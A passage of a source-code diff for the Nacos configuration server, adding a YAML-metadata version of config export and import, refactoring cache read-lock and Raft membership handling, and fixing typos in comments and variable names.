zipItemList.add(new ZipUtils.ZipItem(Constants.CONFIG_EXPORT_METADATA, metaData.toString()));
}
HttpHeaders headers = new HttpHeaders();
@ -507,6 +511,52 @@ public class ConfigController {
return new ResponseEntity<byte[]>(ZipUtils.zip(zipItemList), headers, HttpStatus.OK);
}
/**
* new version export config add metadata.yml file record config metadata.
*
* @param dataId dataId string value.
* @param group group string value.
* @param appName appName string value.
* @param tenant tenant string value.
* @param ids id list value.
* @return ResponseEntity.
*/
@GetMapping(params = "exportV2=true")
@Secured(action = ActionTypes.READ, parser = ConfigResourceParser.class)
public ResponseEntity<byte[]> exportConfigV2(@RequestParam(value = "dataId", required = false) String dataId,
@RequestParam(value = "group", required = false) String group,
@RequestParam(value = "appName", required = false) String appName,
@RequestParam(value = "tenant", required = false, defaultValue = StringUtils.EMPTY) String tenant,
@RequestParam(value = "ids", required = false) List<Long> ids) {
ids.removeAll(Collections.singleton(null));
tenant = NamespaceUtil.processNamespaceParameter(tenant);
List<ConfigAllInfo> dataList = persistService.findAllConfigInfo4Export(dataId, group, tenant, appName, ids);
List<ZipUtils.ZipItem> zipItemList = new ArrayList<>();
List<ConfigMetadata.ConfigExportItem> configMetadataItems = new ArrayList<>();
for (ConfigAllInfo ci : dataList) {
ConfigMetadata.ConfigExportItem configMetadataItem = new ConfigMetadata.ConfigExportItem();
configMetadataItem.setAppName(ci.getAppName());
configMetadataItem.setDataId(ci.getDataId());
configMetadataItem.setDesc(ci.getDesc());
configMetadataItem.setGroup(ci.getGroup());
configMetadataItem.setType(ci.getType());
configMetadataItems.add(configMetadataItem);
String itemName = ci.getGroup() + Constants.CONFIG_EXPORT_ITEM_FILE_SEPARATOR + ci.getDataId();
zipItemList.add(new ZipUtils.ZipItem(itemName, ci.getContent()));
}
ConfigMetadata configMetadata = new ConfigMetadata();
configMetadata.setMetadata(configMetadataItems);
zipItemList.add(new ZipUtils.ZipItem(Constants.CONFIG_EXPORT_METADATA_NEW,
YamlParserUtil.dumpObject(configMetadata)));
HttpHeaders headers = new HttpHeaders();
String fileName =
EXPORT_CONFIG_FILE_NAME + DateFormatUtils.format(new Date(), EXPORT_CONFIG_FILE_NAME_DATE_FORMAT)
+ EXPORT_CONFIG_FILE_NAME_EXT;
headers.add("Content-Disposition", "attachment;filename=" + fileName);
return new ResponseEntity<>(ZipUtils.zip(zipItemList), headers, HttpStatus.OK);
}
/**
* Execute import and publish config operation.
*
@ -536,50 +586,23 @@ public class ConfigController {
failedData.put("succCount", 0);
return RestResultUtils.buildResult(ResultCodeEnum.NAMESPACE_NOT_EXIST, failedData);
}
List<ConfigAllInfo> configInfoList = null;
List<ConfigAllInfo> configInfoList = new ArrayList<>();
List<Map<String, String>> unrecognizedList = new ArrayList<>();
try {
ZipUtils.UnZipResult unziped = ZipUtils.unzip(file.getBytes());
ZipUtils.ZipItem metaDataZipItem = unziped.getMetaDataItem();
Map<String, String> metaDataMap = new HashMap<>(16);
if (metaDataZipItem != null) {
String metaDataStr = metaDataZipItem.getItemData();
String[] metaDataArr = metaDataStr.split("\r\n");
for (String metaDataItem : metaDataArr) {
String[] metaDataItemArr = metaDataItem.split("=");
if (metaDataItemArr.length != 2) {
failedData.put("succCount", 0);
return RestResultUtils.buildResult(ResultCodeEnum.METADATA_ILLEGAL, failedData);
}
metaDataMap.put(metaDataItemArr[0], metaDataItemArr[1]);
if (metaDataZipItem != null && Constants.CONFIG_EXPORT_METADATA_NEW.equals(metaDataZipItem.getItemName())) {
// new export
RestResult<Map<String, Object>> errorResult = parseImportDataV2(unziped, configInfoList,
unrecognizedList, namespace);
if (errorResult != null) {
return errorResult;
}
}
List<ZipUtils.ZipItem> itemList = unziped.getZipItemList();
if (itemList != null && !itemList.isEmpty()) {
configInfoList = new ArrayList<>(itemList.size());
for (ZipUtils.ZipItem item : itemList) {
String[] groupAdnDataId = item.getItemName().split("/");
if (!item.getItemName().contains("/") || groupAdnDataId.length != 2) {
failedData.put("succCount", 0);
return RestResultUtils.buildResult(ResultCodeEnum.DATA_VALIDATION_FAILED, failedData);
}
String group = groupAdnDataId[0];
String dataId = groupAdnDataId[1];
String tempDataId = dataId;
if (tempDataId.contains(".")) {
tempDataId = tempDataId.substring(0, tempDataId.lastIndexOf(".")) + "~" + tempDataId
.substring(tempDataId.lastIndexOf(".") + 1);
}
final String metaDataId = group + "." + tempDataId + ".app";
ConfigAllInfo ci = new ConfigAllInfo();
ci.setTenant(namespace);
ci.setGroup(group);
ci.setDataId(dataId);
ci.setContent(item.getItemData());
if (metaDataMap.get(metaDataId) != null) {
ci.setAppName(metaDataMap.get(metaDataId));
}
configInfoList.add(ci);
} else {
RestResult<Map<String, Object>> errorResult = parseImportData(unziped, configInfoList, unrecognizedList,
namespace);
if (errorResult != null) {
return errorResult;
}
}
} catch (IOException e) {
@ -587,7 +610,8 @@ public class ConfigController {
LOGGER.error("parsing data failed", e);
return RestResultUtils.buildResult(ResultCodeEnum.PARSING_DATA_FAILED, failedData);
}
if (configInfoList == null || configInfoList.isEmpty()) {
if (CollectionUtils.isEmpty(configInfoList)) {
failedData.put("succCount", 0);
return RestResultUtils.buildResult(ResultCodeEnum.DATA_EMPTY, failedData);
}
@ -605,9 +629,160 @@ public class ConfigController {
requestIpApp, time.getTime(), InetUtils.getSelfIP(),
ConfigTraceService.PERSISTENCE_EVENT_PUB, configInfo.getContent());
}
// unrecognizedCount
if (!unrecognizedList.isEmpty()) {
saveResult.put("unrecognizedCount", unrecognizedList.size());
saveResult.put("unrecognizedData", unrecognizedList);
}
return RestResultUtils.success("导入成功", saveResult);
}
/**
* old import config.
*
* @param unziped export file.
* @param configInfoList parse file result.
* @param unrecognizedList unrecognized file.
* @param namespace import namespace.
* @return error result.
*/
private RestResult<Map<String, Object>> parseImportData(ZipUtils.UnZipResult unziped,
List<ConfigAllInfo> configInfoList, List<Map<String, String>> unrecognizedList, String namespace) {
ZipUtils.ZipItem metaDataZipItem = unziped.getMetaDataItem();
Map<String, String> metaDataMap = new HashMap<>(16);
if (metaDataZipItem != null) {
// compatible all file separator
String metaDataStr = metaDataZipItem.getItemData().replaceAll("[\r\n]+", "|");
String[] metaDataArr = metaDataStr.split("\\|");
Map<String, Object> failedData = new HashMap<>(4);
for (String metaDataItem : metaDataArr) {
String[] metaDataItemArr = metaDataItem.split("=");
if (metaDataItemArr.length != 2) {
failedData.put("succCount", 0);
return RestResultUtils.buildResult(ResultCodeEnum.METADATA_ILLEGAL, failedData);
}
metaDataMap.put(metaDataItemArr[0], metaDataItemArr[1]);
}
}
List<ZipUtils.ZipItem> itemList = unziped.getZipItemList();
if (itemList != null && !itemList.isEmpty()) {
for (ZipUtils.ZipItem item : itemList) {
String[] groupAdnDataId = item.getItemName().split(Constants.CONFIG_EXPORT_ITEM_FILE_SEPARATOR);
if (groupAdnDataId.length != 2) {
Map<String, String> unrecognizedItem = new HashMap<>(2);
unrecognizedItem.put("itemName", item.getItemName());
unrecognizedList.add(unrecognizedItem);
continue;
}
String group = groupAdnDataId[0];
String dataId = groupAdnDataId[1];
String tempDataId = dataId;
if (tempDataId.contains(".")) {
tempDataId = tempDataId.substring(0, tempDataId.lastIndexOf(".")) + "~" + tempDataId
.substring(tempDataId.lastIndexOf(".") + 1);
}
final String metaDataId = group + "." + tempDataId + ".app";
ConfigAllInfo ci = new ConfigAllInfo();
ci.setGroup(group);
ci.setDataId(dataId);
ci.setContent(item.getItemData());
if (metaDataMap.get(metaDataId) != null) {
ci.setAppName(metaDataMap.get(metaDataId));
}
ci.setTenant(namespace);
configInfoList.add(ci);
}
}
return null;
}
/**
* new version import config add .metadata.yml file.
*
* @param unziped export file.
* @param configInfoList parse file result.
* @param unrecognizedList unrecognized file.
* @param namespace import namespace.
* @return error result.
*/
private RestResult<Map<String, Object>> parseImportDataV2(ZipUtils.UnZipResult unziped,
List<ConfigAllInfo> configInfoList, List<Map<String, String>> unrecognizedList, String namespace) {
ZipUtils.ZipItem metaDataItem = unziped.getMetaDataItem();
String metaData = metaDataItem.getItemData();
Map<String, Object> failedData = new HashMap<>(4);
ConfigMetadata configMetadata = YamlParserUtil.loadObject(metaData, ConfigMetadata.class);
if (configMetadata == null || CollectionUtils.isEmpty(configMetadata.getMetadata())) {
failedData.put("succCount", 0);
return RestResultUtils.buildResult(ResultCodeEnum.METADATA_ILLEGAL, failedData);
}
List<ConfigMetadata.ConfigExportItem> configExportItems = configMetadata.getMetadata();
// check config metadata
for (ConfigMetadata.ConfigExportItem configExportItem : configExportItems) {
if (StringUtils.isBlank(configExportItem.getDataId()) || StringUtils.isBlank(configExportItem.getGroup())
|| StringUtils.isBlank(configExportItem.getType())) {
failedData.put("succCount", 0);
return RestResultUtils.buildResult(ResultCodeEnum.METADATA_ILLEGAL, failedData);
}
}
List<ZipUtils.ZipItem> zipItemList = unziped.getZipItemList();
Set<String> metaDataKeys = configExportItems.stream()
.map(metaItem -> GroupKey.getKey(metaItem.getDataId(), metaItem.getGroup()))
.collect(Collectors.toSet());
Map<String, String> configContentMap = new HashMap<>(zipItemList.size());
int itemNameLength = 2;
zipItemList.forEach(item -> {
String itemName = item.getItemName();
String[] groupAdnDataId = itemName.split(Constants.CONFIG_EXPORT_ITEM_FILE_SEPARATOR);
if (groupAdnDataId.length != itemNameLength) {
Map<String, String> unrecognizedItem = new HashMap<>(2);
unrecognizedItem.put("itemName", item.getItemName());
unrecognizedList.add(unrecognizedItem);
return;
}
String group = groupAdnDataId[0];
String dataId = groupAdnDataId[1];
String key = GroupKey.getKey(dataId, group);
// metadata does not contain config file
if (!metaDataKeys.contains(key)) {
Map<String, String> unrecognizedItem = new HashMap<>(2);
unrecognizedItem.put("itemName", "未在元数据中找到: " + item.getItemName());
unrecognizedList.add(unrecognizedItem);
return;
}
String itemData = item.getItemData();
configContentMap.put(key, itemData);
});
for (ConfigMetadata.ConfigExportItem configExportItem : configExportItems) {
String dataId = configExportItem.getDataId();
String group = configExportItem.getGroup();
String content = configContentMap.get(GroupKey.getKey(dataId, group));
// config file not in metadata
if (content == null) {
Map<String, String> unrecognizedItem = new HashMap<>(2);
unrecognizedItem.put("itemName", "未在文件中找到: " + group + "/" + dataId);
unrecognizedList.add(unrecognizedItem);
continue;
}
ConfigAllInfo ci = new ConfigAllInfo();
ci.setGroup(group);
ci.setDataId(dataId);
ci.setContent(content);
ci.setType(configExportItem.getType());
ci.setDesc(configExportItem.getDesc());
ci.setAppName(configExportItem.getAppName());
ci.setTenant(namespace);
configInfoList.add(ci);
}
return null;
}
/**
* Execute clone config operation.
*
@ -632,7 +807,7 @@ public class ConfigController {
return RestResultUtils.buildResult(ResultCodeEnum.NO_SELECTED_CONFIG, failedData);
}
configBeansList.removeAll(Collections.singleton(null));
namespace = NamespaceUtil.processNamespaceParameter(namespace);
if (StringUtils.isNotBlank(namespace) && persistService.tenantInfoCountByTenantId(namespace) <= 0) {
failedData.put("succCount", 0);
@ -656,19 +831,20 @@ public class ConfigController {
List<ConfigAllInfo> configInfoList4Clone = new ArrayList<>(queryedDataList.size());
for (ConfigAllInfo ci : queryedDataList) {
SameNamespaceCloneConfigBean prarmBean = configBeansMap.get(ci.getId());
SameNamespaceCloneConfigBean paramBean = configBeansMap.get(ci.getId());
ConfigAllInfo ci4save = new ConfigAllInfo();
ci4save.setTenant(namespace);
ci4save.setType(ci.getType());
ci4save.setGroup((prarmBean != null && StringUtils.isNotBlank(prarmBean.getGroup())) ? prarmBean.getGroup()
ci4save.setGroup((paramBean != null && StringUtils.isNotBlank(paramBean.getGroup())) ? paramBean.getGroup()
: ci.getGroup());
ci4save.setDataId(
(prarmBean != null && StringUtils.isNotBlank(prarmBean.getDataId())) ? prarmBean.getDataId()
(paramBean != null && StringUtils.isNotBlank(paramBean.getDataId())) ? paramBean.getDataId()
: ci.getDataId());
ci4save.setContent(ci.getContent());
if (StringUtils.isNotBlank(ci.getAppName())) {
ci4save.setAppName(ci.getAppName());
}
ci4save.setDesc(ci.getDesc());
configInfoList4Clone.add(ci4save);
}

View File

@ -97,7 +97,7 @@ public class ConfigServletInner {
}
int versionNum = Protocol.getVersionNumber(version);
// Befor 2.0.4 version, return value is put into header.
// Before 2.0.4 version, return value is put into header.
if (versionNum < START_LONG_POLLING_VERSION_NUM) {
response.addHeader(Constants.PROBE_MODIFY_RESPONSE, oldResult);
response.addHeader(Constants.PROBE_MODIFY_RESPONSE_NEW, newResult);
@ -128,25 +128,23 @@ public class ConfigServletInner {
final String requestIp = RequestUtil.getRemoteIp(request);
boolean isBeta = false;
if (lockResult > 0) {
// LockResult > 0 means cacheItem is not null and other thread can`t delete this cacheItem
FileInputStream fis = null;
try {
String md5 = Constants.NULL;
long lastModified = 0L;
CacheItem cacheItem = ConfigCacheService.getContentCache(groupKey);
if (cacheItem != null) {
if (cacheItem.isBeta()) {
if (cacheItem.getIps4Beta().contains(clientIp)) {
isBeta = true;
}
}
final String configType =
(null != cacheItem.getType()) ? cacheItem.getType() : FileTypeEnum.TEXT.getFileType();
response.setHeader("Config-Type", configType);
FileTypeEnum fileTypeEnum = FileTypeEnum.getFileTypeEnumByFileExtensionOrFileType(configType);
String contentTypeHeader = fileTypeEnum.getContentType();
response.setHeader(HttpHeaderConsts.CONTENT_TYPE, contentTypeHeader);
if (cacheItem.isBeta() && cacheItem.getIps4Beta().contains(clientIp)) {
isBeta = true;
}
final String configType =
(null != cacheItem.getType()) ? cacheItem.getType() : FileTypeEnum.TEXT.getFileType();
response.setHeader("Config-Type", configType);
FileTypeEnum fileTypeEnum = FileTypeEnum.getFileTypeEnumByFileExtensionOrFileType(configType);
String contentTypeHeader = fileTypeEnum.getContentType();
response.setHeader(HttpHeaderConsts.CONTENT_TYPE, contentTypeHeader);
File file = null;
ConfigInfoBase configInfoBase = null;
PrintWriter out = null;
@ -162,13 +160,11 @@ public class ConfigServletInner {
} else {
if (StringUtils.isBlank(tag)) {
if (isUseTag(cacheItem, autoTag)) {
if (cacheItem != null) {
if (cacheItem.tagMd5 != null) {
md5 = cacheItem.tagMd5.get(autoTag);
}
if (cacheItem.tagLastModifiedTs != null) {
lastModified = cacheItem.tagLastModifiedTs.get(autoTag);
}
if (cacheItem.tagMd5 != null) {
md5 = cacheItem.tagMd5.get(autoTag);
}
if (cacheItem.tagLastModifiedTs != null) {
lastModified = cacheItem.tagLastModifiedTs.get(autoTag);
}
if (PropertyUtil.isDirectRead()) {
configInfoBase = persistService.findConfigInfo4Tag(dataId, group, tenant, autoTag);
@ -202,15 +198,13 @@ public class ConfigServletInner {
}
}
} else {
if (cacheItem != null) {
if (cacheItem.tagMd5 != null) {
md5 = cacheItem.tagMd5.get(tag);
}
if (cacheItem.tagLastModifiedTs != null) {
Long lm = cacheItem.tagLastModifiedTs.get(tag);
if (lm != null) {
lastModified = lm;
}
if (cacheItem.tagMd5 != null) {
md5 = cacheItem.tagMd5.get(tag);
}
if (cacheItem.tagLastModifiedTs != null) {
Long lm = cacheItem.tagLastModifiedTs.get(tag);
if (lm != null) {
lastModified = lm;
}
}
if (PropertyUtil.isDirectRead()) {
@ -302,6 +296,12 @@ public class ConfigServletInner {
ConfigCacheService.releaseReadLock(groupKey);
}
/**
* Try to add read lock.
*
* @param groupKey groupKey string value.
* @return 0 - No data and failed. Positive number - lock succeeded. Negative number - lock failed
*/
private static int tryConfigReadLock(String groupKey) {
// Lock failed by default.

View File

@ -16,13 +16,15 @@
package com.alibaba.nacos.config.server.filter;
import com.alibaba.nacos.common.utils.ExceptionUtil;
import com.alibaba.nacos.common.notify.Event;
import com.alibaba.nacos.common.notify.NotifyCenter;
import com.alibaba.nacos.common.notify.listener.SmartSubscriber;
import com.alibaba.nacos.common.utils.CollectionUtils;
import com.alibaba.nacos.common.utils.ExceptionUtil;
import com.alibaba.nacos.config.server.constant.Constants;
import com.alibaba.nacos.config.server.model.event.RaftDbErrorEvent;
import com.alibaba.nacos.config.server.model.event.RaftDbErrorRecoverEvent;
import com.alibaba.nacos.consistency.ProtocolMetaData;
import com.alibaba.nacos.consistency.cp.CPProtocol;
import com.alibaba.nacos.consistency.cp.MetadataKey;
import com.alibaba.nacos.core.cluster.Member;
@ -107,16 +109,21 @@ public class CurcuitFilter implements Filter {
}
private void listenerSelfInCluster() {
protocol.protocolMetaData()
.subscribe(Constants.CONFIG_MODEL_RAFT_GROUP, MetadataKey.RAFT_GROUP_MEMBER, (o, arg) -> {
final List<String> peers = (List<String>) arg;
final Member self = memberManager.getSelf();
final String raftAddress =
self.getIp() + ":" + self.getExtendVal(MemberMetaDataConstants.RAFT_PORT);
// Only when you are in the cluster and the current Leader is
// elected can you provide external services
isOpenService = peers.contains(raftAddress);
});
protocol.protocolMetaData().subscribe(Constants.CONFIG_MODEL_RAFT_GROUP, MetadataKey.RAFT_GROUP_MEMBER, o -> {
if (!(o instanceof ProtocolMetaData.ValueItem)) {
return;
}
final List<String> peers = (List<String>) ((ProtocolMetaData.ValueItem) o).getData();
if (CollectionUtils.isEmpty(peers)) {
isOpenService = false;
return;
}
final Member self = memberManager.getSelf();
final String raftAddress = self.getIp() + ":" + self.getExtendVal(MemberMetaDataConstants.RAFT_PORT);
// Only when you are in the cluster and the current Leader is
// elected can you provide external services
isOpenService = peers.contains(raftAddress);
});
}
private void registerSubscribe() {

View File

@ -148,7 +148,7 @@ public final class TaskManager extends NacosDelayTaskExecuteEngine implements Ta
ObjectName oName = new ObjectName(this.name + ":type=" + TaskManager.class.getSimpleName());
ManagementFactory.getPlatformMBeanServer().registerMBean(this, oName);
} catch (Exception e) {
LOGGER.error("registerMBean_fail", "注册mbean出错", e);
LOGGER.error("registerMBean_fail", e);
}
}
}

View File

@ -26,7 +26,7 @@ import java.io.Serializable;
/**
* ConfigInfoBase.
* And can't add field, to compatible with old interface(If adding a field, then it will occour compatibility problems).
* And can't add field, to compatible with old interface(If adding a field, then it will occur compatibility problems).
*
* @author Nacos
*/

View File

@ -18,7 +18,7 @@ package com.alibaba.nacos.config.server.model;
/**
* ConfigInfoBaseEx.
* And can't add field, to compatible with old interface(If adding a field, then it will occour compatibility problems).
* And can't add field, to compatible with old interface(If adding a field, then it will occur compatibility problems).
*
* @author Nacos
*/

View File

@ -0,0 +1,110 @@
/*
* Copyright 1999-2018 Alibaba Group Holding Ltd.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.alibaba.nacos.config.server.model;
import java.util.List;
import java.util.Objects;
/**
* config export Metadata.
*
* @author Nacos
*/
public class ConfigMetadata {
private List<ConfigExportItem> metadata;
public static class ConfigExportItem {
private String group;
private String dataId;
private String desc;
private String type;
private String appName;
public String getGroup() {
return group;
}
public void setGroup(String group) {
this.group = group;
}
public String getDataId() {
return dataId;
}
public void setDataId(String dataId) {
this.dataId = dataId;
}
public String getDesc() {
return desc;
}
public void setDesc(String desc) {
this.desc = desc;
}
public String getType() {
return type;
}
public void setType(String type) {
this.type = type;
}
public String getAppName() {
return appName;
}
public void setAppName(String appName) {
this.appName = appName;
}
@Override
public boolean equals(Object o) {
if (this == o) {
return true;
}
if (o == null || getClass() != o.getClass()) {
return false;
}
ConfigExportItem that = (ConfigExportItem) o;
return Objects.equals(group, that.group) && Objects.equals(dataId, that.dataId) && Objects
.equals(desc, that.desc) && Objects.equals(type, that.type) && Objects
.equals(appName, that.appName);
}
@Override
public int hashCode() {
return Objects.hash(group, dataId, desc, type, appName);
}
}
public List<ConfigExportItem> getMetadata() {
return metadata;
}
public void setMetadata(List<ConfigExportItem> metadata) {
this.metadata = metadata;
}
}

View File

@ -47,7 +47,7 @@ public enum ResultCodeEnum implements IResultCode {
DATA_EMPTY(100005, "导入的文件数据为空"),
NO_SELECTED_CONFIG(100006, "没有选择任何配");
NO_SELECTED_CONFIG(100006, "没有选择任何配");
private int code;

View File

@ -42,8 +42,8 @@ public class ClientTrackService {
/**
* TrackClientMd5.
*
* @param ip ip string value.
* @param clientMd5Map clientMd5Map.
* @param ip ip string value.
* @param clientMd5Map clientMd5Map.
* @param clientLastPollingTsMap clientLastPollingTsMap.
*/
public static void trackClientMd5(String ip, Map<String, String> clientMd5Map,
@ -57,8 +57,8 @@ public class ClientTrackService {
/**
* Put the specified value(ip/groupKey/clientMd5) into clientRecords Map.
*
* @param ip ip string value.
* @param groupKey groupKey string value.
* @param ip ip string value.
* @param groupKey groupKey string value.
* @param clientMd5 clientMd5 string value.
*/
public static void trackClientMd5(String ip, String groupKey, String clientMd5) {
@ -76,11 +76,11 @@ public class ClientTrackService {
public static int subscribeClientCount() {
return clientRecords.size();
}
/**
* Get all of subsciber count.
* Get all of subscriber count.
*
* @return all of subsciber count.
* @return all of subscriber count.
*/
public static long subscriberCount() {
long count = 0;
@ -92,7 +92,6 @@ public class ClientTrackService {
/**
* Groupkey -> SubscriberStatus.
*
*/
public static Map<String, SubscriberStatus> listSubStatus(String ip) {
Map<String, SubscriberStatus> status = new HashMap<String, SubscriberStatus>(100);
@ -134,9 +133,8 @@ public class ClientTrackService {
}
/**
* Specify subscriber's ip and look up whether data is lastest.
* Specify subscriber's ip and look up whether data is latest.
* groupKey -> isUptodate.
*
*/
public static Map<String, Boolean> isClientUptodate(String ip) {
Map<String, Boolean> result = new HashMap<String, Boolean>(100);
@ -150,7 +148,7 @@ public class ClientTrackService {
}
/**
* Specify groupKey and look up whether subsciber and data is lastest.
* Specify groupKey and look up whether subscriber and data is latest.
* IP -> isUptodate.
*/
public static Map<String, Boolean> listSubscriberByGroup(String groupKey) {

View File

@ -231,8 +231,8 @@ public class ConfigCacheService {
try {
final String md5 = MD5Utils.md5Hex(content, Constants.ENCODE);
if (!PropertyUtil.isDirectRead()) {
String loacalMd5 = DiskUtil.getLocalConfigMd5(dataId, group, tenant);
if (md5.equals(loacalMd5)) {
String localMd5 = DiskUtil.getLocalConfigMd5(dataId, group, tenant);
if (md5.equals(localMd5)) {
DUMP_LOG.warn("[dump-ignore] ignore to save cache file. groupKey={}, md5={}, lastModifiedOld={}, "
+ "lastModifiedNew={}", groupKey, md5, ConfigCacheService.getLastModifiedTs(groupKey),
lastModifiedTs);
@ -607,11 +607,11 @@ public class ConfigCacheService {
}
/**
* Try to add read lock. If it successed, then it can call {@link #releaseWriteLock(String)}.And it won't call if
* Try to add read lock. If it succeeded, then it can call {@link #releaseWriteLock(String)}.And it won't call if
* failed.
*
* @param groupKey groupKey string value.
* @return 0 - No data and failed. Positive number 0 - Success. Negative number - lock failed
* @return 0 - No data and failed. Positive number - lock succeeded. Negative number - lock failed
*/
public static int tryReadLock(String groupKey) {
CacheItem groupItem = CACHE.get(groupKey);
@ -635,7 +635,7 @@ public class ConfigCacheService {
}
/**
* Try to add write lock. If it successed, then it can call {@link #releaseWriteLock(String)}.And it won't call if
* Try to add write lock. If it succeeded, then it can call {@link #releaseWriteLock(String)}.And it won't call if
* failed.
*
* @param groupKey groupKey string value.

View File

@ -129,26 +129,26 @@ public class ConfigSubService {
*/
public SampleResult mergeSampleResult(SampleResult sampleCollectResult, List<SampleResult> sampleResults) {
SampleResult mergeResult = new SampleResult();
Map<String, String> lisentersGroupkeyStatus = null;
Map<String, String> listenersGroupkeyStatus = null;
if (sampleCollectResult.getLisentersGroupkeyStatus() == null || sampleCollectResult.getLisentersGroupkeyStatus()
.isEmpty()) {
lisentersGroupkeyStatus = new HashMap<String, String>(10);
listenersGroupkeyStatus = new HashMap<String, String>(10);
} else {
lisentersGroupkeyStatus = sampleCollectResult.getLisentersGroupkeyStatus();
listenersGroupkeyStatus = sampleCollectResult.getLisentersGroupkeyStatus();
}
for (SampleResult sampleResult : sampleResults) {
Map<String, String> lisentersGroupkeyStatusTmp = sampleResult.getLisentersGroupkeyStatus();
for (Map.Entry<String, String> entry : lisentersGroupkeyStatusTmp.entrySet()) {
lisentersGroupkeyStatus.put(entry.getKey(), entry.getValue());
Map<String, String> listenersGroupkeyStatusTmp = sampleResult.getLisentersGroupkeyStatus();
for (Map.Entry<String, String> entry : listenersGroupkeyStatusTmp.entrySet()) {
listenersGroupkeyStatus.put(entry.getKey(), entry.getValue());
}
}
mergeResult.setLisentersGroupkeyStatus(lisentersGroupkeyStatus);
mergeResult.setLisentersGroupkeyStatus(listenersGroupkeyStatus);
return mergeResult;
}
/**
* Query subsrciber's task from every nacos server nodes.
* Query subscriber's task from every nacos server nodes.
*
* @author Nacos
*/
@ -177,8 +177,7 @@ public class ConfigSubService {
}
String urlAll = getUrl(ip, url) + "?" + paramUrl;
RestResult<String> result = NotifyService
.invokeURL(urlAll, null, Constants.ENCODE);
RestResult<String> result = NotifyService.invokeURL(urlAll, null, Constants.ENCODE);
// Http code 200
if (result.ok()) {

View File

@ -54,6 +54,8 @@ public class ExternalDataSourceServiceImpl implements DataSourceService {
private static final int TRANSACTION_QUERY_TIMEOUT = 5;
private static final int DB_MASTER_SELECT_THRESHOLD = 1;
private static final String DB_LOAD_ERROR_MSG = "[db-load-error]load jdbc.properties error";
private List<HikariDataSource> dataSourceList = new ArrayList<>();
@ -106,8 +108,10 @@ public class ExternalDataSourceServiceImpl implements DataSourceService {
e.printStackTrace();
throw new RuntimeException(DB_LOAD_ERROR_MSG);
}
ConfigExecutor.scheduleConfigTask(new SelectMasterTask(), 10, 10, TimeUnit.SECONDS);
if (this.dataSourceList.size() > DB_MASTER_SELECT_THRESHOLD) {
ConfigExecutor.scheduleConfigTask(new SelectMasterTask(), 10, 10, TimeUnit.SECONDS);
}
ConfigExecutor.scheduleConfigTask(new CheckDbHealthTask(), 10, 10, TimeUnit.SECONDS);
}
}

View File

@ -67,6 +67,7 @@ import java.util.Random;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicInteger;
import static com.alibaba.nacos.config.server.utils.LogUtil.DUMP_LOG;
import static com.alibaba.nacos.config.server.utils.LogUtil.FATAL_LOG;
/**
@ -343,15 +344,25 @@ public abstract class DumpService {
dump(dataId, group, tenant, lastModified, handleIp, false);
}
/**
* Add DumpTask to TaskManager, it will execute asynchronously.
*/
public void dump(String dataId, String group, String tenant, long lastModified, String handleIp, boolean isBeta) {
String groupKey = GroupKey2.getKey(dataId, group, tenant);
dumpTaskMgr.addTask(groupKey, new DumpTask(groupKey, lastModified, handleIp, isBeta));
String taskKey = String.join("+", dataId, group, tenant, String.valueOf(isBeta));
dumpTaskMgr.addTask(taskKey, new DumpTask(groupKey, lastModified, handleIp, isBeta));
DUMP_LOG.info("[dump-task] add task. groupKey={}, taskKey={}", groupKey, taskKey);
}
/**
* Add DumpTask to TaskManager, it will execute asynchronously.
*/
public void dump(String dataId, String group, String tenant, String tag, long lastModified, String handleIp,
boolean isBeta) {
String groupKey = GroupKey2.getKey(dataId, group, tenant);
dumpTaskMgr.addTask(groupKey, new DumpTask(groupKey, tag, lastModified, handleIp, isBeta));
String taskKey = String.join("+", dataId, group, tenant, String.valueOf(isBeta), tag);
dumpTaskMgr.addTask(taskKey, new DumpTask(groupKey, tag, lastModified, handleIp, isBeta));
DUMP_LOG.info("[dump-task] add task. groupKey={}, taskKey={}", groupKey, taskKey);
}
public void dumpAll() {

View File

@ -24,12 +24,13 @@ import com.alibaba.nacos.config.server.configuration.ConditionOnEmbeddedStorage;
import com.alibaba.nacos.config.server.constant.Constants;
import com.alibaba.nacos.config.server.service.repository.PersistService;
import com.alibaba.nacos.config.server.service.sql.EmbeddedStorageContextUtils;
import com.alibaba.nacos.consistency.ProtocolMetaData;
import com.alibaba.nacos.consistency.cp.CPProtocol;
import com.alibaba.nacos.consistency.cp.MetadataKey;
import com.alibaba.nacos.core.cluster.ServerMemberManager;
import com.alibaba.nacos.core.distributed.ProtocolManager;
import com.alibaba.nacos.sys.env.EnvUtil;
import com.alibaba.nacos.core.utils.GlobalExecutor;
import com.alibaba.nacos.sys.env.EnvUtil;
import org.springframework.context.annotation.Conditional;
import org.springframework.stereotype.Component;
@ -89,7 +90,11 @@ public class EmbeddedDumpService extends DumpService {
Observer observer = new Observer() {
@Override
public void update(Observable o, Object arg) {
public void update(Observable o) {
if (!(o instanceof ProtocolMetaData.ValueItem)) {
return;
}
final Object arg = ((ProtocolMetaData.ValueItem) o).getData();
GlobalExecutor.executeByCommon(() -> {
// must make sure that there is a value here to perform the correct operation that follows
if (Objects.isNull(arg)) {

View File

@ -406,7 +406,7 @@ public class DistributedDatabaseOperateImpl extends RequestProcessor4CP implemen
}
return RestResultUtils.success();
} catch (Throwable ex) {
LogUtil.DEFAULT_LOG.error("data import has error : {}", ex);
LogUtil.DEFAULT_LOG.error("data import has error :", ex);
return RestResultUtils.failed(ex.getMessage());
}
});

View File

@ -2351,6 +2351,7 @@ public class EmbeddedStoragePersistServiceImpl implements PersistService {
configAdvanceInfo = new HashMap<>(16);
}
configAdvanceInfo.put("type", type);
configAdvanceInfo.put("desc", configInfo.getDesc());
try {
addConfigInfo(srcIp, srcUser, configInfo2Save, time, configAdvanceInfo, notify, callFinally);
succCount++;

View File

@ -2599,6 +2599,7 @@ public class ExternalStoragePersistServiceImpl implements PersistService {
configAdvanceInfo = new HashMap<>(16);
}
configAdvanceInfo.put("type", type);
configAdvanceInfo.put("desc", configInfo.getDesc());
try {
addConfigInfo(srcIp, srcUser, configInfo2Save, time, configAdvanceInfo, notify);
succCount++;

View File

@ -0,0 +1,141 @@
/*
* Copyright 1999-2018 Alibaba Group Holding Ltd.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
